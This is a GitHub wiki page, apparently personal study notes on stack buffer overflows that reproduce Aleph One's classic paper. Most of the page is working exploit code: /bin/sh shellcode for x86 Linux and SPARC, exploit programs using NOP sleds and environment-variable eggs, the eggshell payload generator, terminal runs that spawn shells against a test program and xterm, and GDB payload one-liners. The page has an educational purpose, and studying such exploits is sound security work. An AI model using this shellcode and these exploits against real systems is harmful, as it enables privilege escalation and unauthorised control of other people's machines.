Home - kkli08/Buffer-Overflow GitHub Wiki

Welcome to My Buffer Overflow Blog!

I Exploit

// overflow1.c

char shellcode[] = 
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

void main() {
    char buffer[96];
    int i;
    long *long_ptr = (long *) large_string;
    for (i = 0; i < 32; i++) 
        *(long_ptr + i) = (int) buffer;

    for (i = 0; i < strlen(shellcode); i++) 
        large_string[i] = shellcode[i];

    strcpy(buffer,large_string); 
    }

==========================================================
[aleph1]$ gcc -o overflow1 overflow1.c 
[aleph1]$ ./overflow1
$ exit // successfully spawn a shell
exit
[aleph1]$
==========================================================

General Explanation

Q & A

II Exploit

// vulnerable.c
void main(int argc, char *argv[]) {
    char buffer[512];
    if (argc > 1) strcpy(buffer,argv[1]);
}
// exploit2.c

// We can create a program that takes as a parameter a buffer size, 
// and an offset from its own stack pointer (where we believe the buffer we want to overflow may live). 
// We'll put the overflow string in an environment variable so it is easy to manipulate
#include <stdlib.h>
#define DEFAULT_OFFSET 0 
#define DEFAULT_BUFFER_SIZE 512
char shellcode[] = 
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
    __asm__("movl %esp,%eax"); 
}

void main(int argc, char *argv[]) {
    char *buff, *ptr;
    long *addr_ptr, addr;
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; 
    int i;
    if (argc > 1) bsize = atoi(argv[1]); 
    if (argc > 2) offset = atoi(argv[2]);
    if (!(buff = malloc(bsize))) { 
        printf("Can't allocate memory.\n");
        exit(0); 
    }
    addr = get_sp() - offset; 
    printf("Using address: 0x%x\n", addr);
    ptr = buff;
    addr_ptr = (long *) ptr;

    for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;

    // This is done to move the pointer past the last address written into the buffer. (I assume)
    ptr += 4;

    for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i]; 

    buff[bsize - 1] = '\0';

    memcpy(buff,"EGG=",4); 
    putenv(buff); 
    system("/bin/bash");
}
// Now we can try to guess what the buffer and offset should be
==========================================================
[aleph1]$ ./exploit2 500 
Using address: 0xbffffdb4 
[aleph1]$ ./vulnerable $EGG 
[aleph1]$ exit
[aleph1]$ ./exploit2 600 
Using address: 0xbffffdb4 
[aleph1]$ ./vulnerable $EGG 
Illegal instruction 
[aleph1]$ exit
[aleph1]$ ./exploit2 600 100 
Using address: 0xbffffd4c 
[aleph1]$ ./vulnerable $EGG 
Segmentation fault
[aleph1]$ exit
[aleph1]$ ./exploit2 600 200 
Using address: 0xbffffce8 
[aleph1]$ ./vulnerable $EGG 
Segmentation fault
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit2 600 1564 
Using address: 0xbffff794 
[aleph1]$ ./vulnerable $EGG
$

==========================================================

General Explanation

Q & A

Environment Variable

III Exploit (NOP)

As we can see II Exploit is not an efficient process. Trying to guess the offset even while knowing where the beginning of the stack lives is nearly impossible. We would need at best a hundred tries, and at worst a couple of thousand. The problem is we need to guess exactly where the address of our code will start. If we are off by one byte more or less we will just get a segmentation violation or a invalid instruction.

One way to increase our chances is to pad the front of our overflow buffer with NOP instructions. Almost all processors have a NOP instruction that performs a null operation. It is usually used to delay execution for purposes of timing. We will take advantage of it and fill half of our overflow buffer with them. We will place our shellcode at the center, and then follow it with the return addresses.

If we are lucky and the return address points anywhere in the string of NOPs, they will just get executed until they reach our code. In the Intel architecture the NOP instruction is one byte long and it translates to 0x90 in machine code. Assuming the stack starts at address 0xFF, that S stands for shell code, and that N stands for a NOP instruction the new stack would look like this:

// vulnerable.c
void main(int argc, char *argv[]) {
    char buffer[512];
    if (argc > 1) strcpy(buffer,argv[1]);
}
#include <stdlib.h>
#define DEFAULT_OFFSET 0 
#define DEFAULT_BUFFER_SIZE 512 
#define NOP 0x90
char shellcode[] = 
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
    __asm__("movl %esp,%eax"); 
}

void main(int argc, char *argv[]) {
    char *buff, *ptr;
    long *addr_ptr, addr;
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; 
    int i;

    if (argc > 1) bsize = atoi(argv[1]); 
    if (argc > 2) offset = atoi(argv[2]);

    if (!(buff = malloc(bsize))) { 
        printf("Can't allocate memory.\n");
        exit(0); 
    }

    addr = get_sp() - offset; 
    printf("Using address: 0x%x\n", addr);

    ptr = buff;
    addr_ptr = (long *) ptr;
    for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;

    for (i = 0; i < bsize/2; i++) 
        buff[i] = NOP;

    ptr = buff + ((bsize/2) - (strlen(shellcode)/2)); 
    for (i = 0; i < strlen(shellcode); i++)
        *(ptr++) = shellcode[i]; 

    buff[bsize - 1] = '\0';

    memcpy(buff,"EGG=",4); 
    putenv(buff); 
    system("/bin/bash");
}

A good selection for our buffer size is about 100 bytes more than the size of the buffer we are trying to overflow. This will place our code at the end of the buffer we are trying to overflow, giving a lot of space for the NOPs, but still overwriting the return address with the address we guessed. The buffer we are trying to overflow is 512 bytes long, so we'll use 612. Let's try to overflow our test program with our new exploit:

==========================================================
[aleph1]$ ./exploit3 612 
Using address: 0xbffffdb4    
[aleph1]$ ./vulnerable $EGG 
$

==========================================================

This change has improved our chances a hundredfold. Let's try it now on a real case of a buffer overflow. We'll use for our demonstration the buffer overflow on the Xt library. For our example, we'll use xterm (all programs linked with the Xt library are vulnerable). You must be running an X server and allow connections to it from the localhost. Set your DISPLAY variable accordingly.

==========================================================
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit3 1124
Using address: 0xbffffdb4
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG 
^C
[aleph1]$ exit
[aleph1]$ ./exploit3 2148 100
Using address: 0xbffffd48
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
....
Warning: some arguments in previous message were lost 
Illegal instruction
[aleph1]$ exit
.
.
.
[aleph1]$ ./exploit4 2148 600
Using address: 0xbffffb54
[aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
Warning: some arguments in previous message were lost 
bash$

==========================================================

Less than a dozen tries and we found the magic numbers. If xterm were installed suid root this would now be a root shell.

General Explanation

Environment Variable

IV Exploit - Small Buffer Overflows

There will be times when the buffer you are trying to overflow is so small that either the shellcode wont fit into it, and it will overwrite the return address with instructions instead of the address of our code, or the number of NOPs you can pad the front of the string with is so small that the chances of guessing their address is minuscule.

To obtain a shell from these programs we will have to go about it another way. This particular approach only works when you have access to the program's environment variables. What we will do is place our shellcode in an environment variable, and then overflow the buffer with the address of this variable in memory. This method also increases your changes of the exploit working as you can make the environment variable holding the shell code as large as you want. The environment variables are stored in the top of the stack when the program is started, any modification by setenv() are then allocated elsewhere. The stack at the beginning then looks like this:

<strings><argv pointers>NULL<envp pointers>NULL<argc><argv>envp>

Our new program will take an extra variable, the size of the variable containing the shellcode and NOPs. Our new exploit now looks like this:

// exploit4.c

#include <stdlib.h>
#define DEFAULT_OFFSET 0 
#define DEFAULT_BUFFER_SIZE 512 
#define DEFAULT_EGG_SIZE 2048 
#define NOP 0x90
char shellcode[] = 
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
    __asm__("movl %esp,%eax"); 
}

void main(int argc, char *argv[]) {
    char *buff, *ptr, *egg;
    long *addr_ptr, addr;
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; 
    int i, eggsize=DEFAULT_EGG_SIZE;
    if (argc > 1) bsize = atoi(argv[1]); 
    if (argc > 2) offset = atoi(argv[2]); 
    if (argc > 3) eggsize = atoi(argv[3]);

    if (!(buff = malloc(bsize))) { 
        printf("Can't allocate memory.\n");
        exit(0); 
    }

    if (!(egg = malloc(eggsize))) { 
        printf("Can't allocate memory.\n");
        exit(0); 
    }

    addr = get_esp() - offset; 
    printf("Using address: 0x%x\n", addr);

    ptr = buff;
    addr_ptr = (long *) ptr;
    for (i = 0; i < bsize; i+=4)
        *(addr_ptr++) = addr;

    ptr = egg;

    for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
        *(ptr++) = NOP;
    for (i = 0; i < strlen(shellcode); i++) 
        *(ptr++) = shellcode[i];

    buff[bsize - 1] = '\0'; 
    egg[eggsize - 1] = '\0';

    memcpy(egg,"EGG=",4); 
    putenv(egg); 

    memcpy(buff,"RET=",4); 
    putenv(buff); 
    system("/bin/bash");
}

Lets try our new exploit with our vulnerable test program:

==========================================================
[aleph1]$ ./exploit4 768 
Using address: 0xbffffdb0 
[aleph1]$ ./vulnerable $RET 
$

==========================================================

Works like a charm. Now lets try it on xterm:

==========================================================
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET 
Warning: Color name

...°¤ÿ¿°¤ÿ¿°¤ ...

Warning: some arguments in previous message were lost 
$

==========================================================

It has certainly increased our odds. Depending on how much environment data the exploit program has compared with the program you are trying to exploit the guessed address may be too low or too high. Experiment both with positive and negative offsets.

General Explanation

Q & A

Appendix

A - Shellcode for Different Operating Systems/Architectures

A

B - Generic Buffer Overflow Program

// shellcode.h
#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE 1 
char nop[] = "\x90";
char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) { 
    __asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__) 
#define NOP_SIZE 4

char nop[]="\xac\x15\xa1\x6e"; 
char shellcode[] =
    "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" 
    "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" 
    "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" 
    "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

unsigned long get_sp(void) {
    __asm__("or %sp, %sp, %i0"); 
}

#elif defined(__sparc__) && defined(__sun__)

#define NOP_SIZE 4

char nop[]="\xac\x15\xa1\x6e"; 
char shellcode[] =
    "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" 
    "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" 
    "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" 
    "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";

unsigned long get_sp(void) {
    __asm__("or %sp, %sp, %i0"); 
}
#endif
// eggshell.c
/*
* eggshell v1.0
*
* Aleph One / [email protected] */
#include
#include stdio.h 
#include "shellcode.h"
#define DEFAULT_OFFSET 0 
#define DEFAULT_BUFFER_SIZE 512 
#define DEFAULT_EGG_SIZE 2048

void usage(void);

void main(int argc, char *argv[]) {
    char *ptr, *bof, *egg;
    long *addr_ptr, addr;
    int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; 
    int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;

    while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) 
        switch (c) {
            case 'a':
                align = atoi(optarg); 
                break;
            case 'b':
                bsize = atoi(optarg); 
                break;
            case 'e':
                eggsize = atoi(optarg); 
                break;
            case 'o':
                offset = atoi(optarg); 
                break;
            case '?': 
                usage(); 
                exit(0);
            }

        if (strlen(shellcode) > eggsize) { 
            printf("Shellcode is larger the the egg.\n"); 
            exit(0);
        }

        if (!(bof = malloc(bsize))) { 
            printf("Can't allocate memory.\n");
            exit(0); 
        }

        if (!(egg = malloc(eggsize))) { 
            printf("Can't allocate memory.\n");
            exit(0); 
        }

        addr = get_sp() - offset;
        printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align);

        printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);

        addr_ptr = (long *) bof;
        for (i = 0; i < bsize; i+=4)
            *(addr_ptr++) = addr;

        ptr = egg;
        for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
            for (n = 0; n < NOP_SIZE; n++) { 
                m = (n + align) % NOP_SIZE;
                *(ptr++) = nop[m]; 
            }

        for (i = 0; i < strlen(shellcode); i++) 
            *(ptr++) = shellcode[i];

        bof[bsize - 1] = '\0'; 
        egg[eggsize - 1] = '\0';

        memcpy(egg,"EGG=",4); 
        putenv(egg);
        memcpy(bof,"BOF=",4); 
        putenv(bof); 
        system("/bin/sh");
}
void usage(void) { 
    (void)fprintf(stderr, "usage: eggshell [-a ] [-b ] [-e ] [-o ]\n"); 
}

Reference

Smashing The Stack For Fun And Profit - Aleph One

Buffer Overflows for Dummies - Josef Neliflen

Some resource might help

1

2

3

4

GDB

run $(python3 -c "print('\x41'*120 + '\x42'*4 + '\x43'*4)")
x/300wx $sp - 300
$(python3 -c "print('\x90'*19 + '\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68' + '\x80\xfd\x21\x30'*52)")
⚠️ **GitHub.com Fallback** ⚠️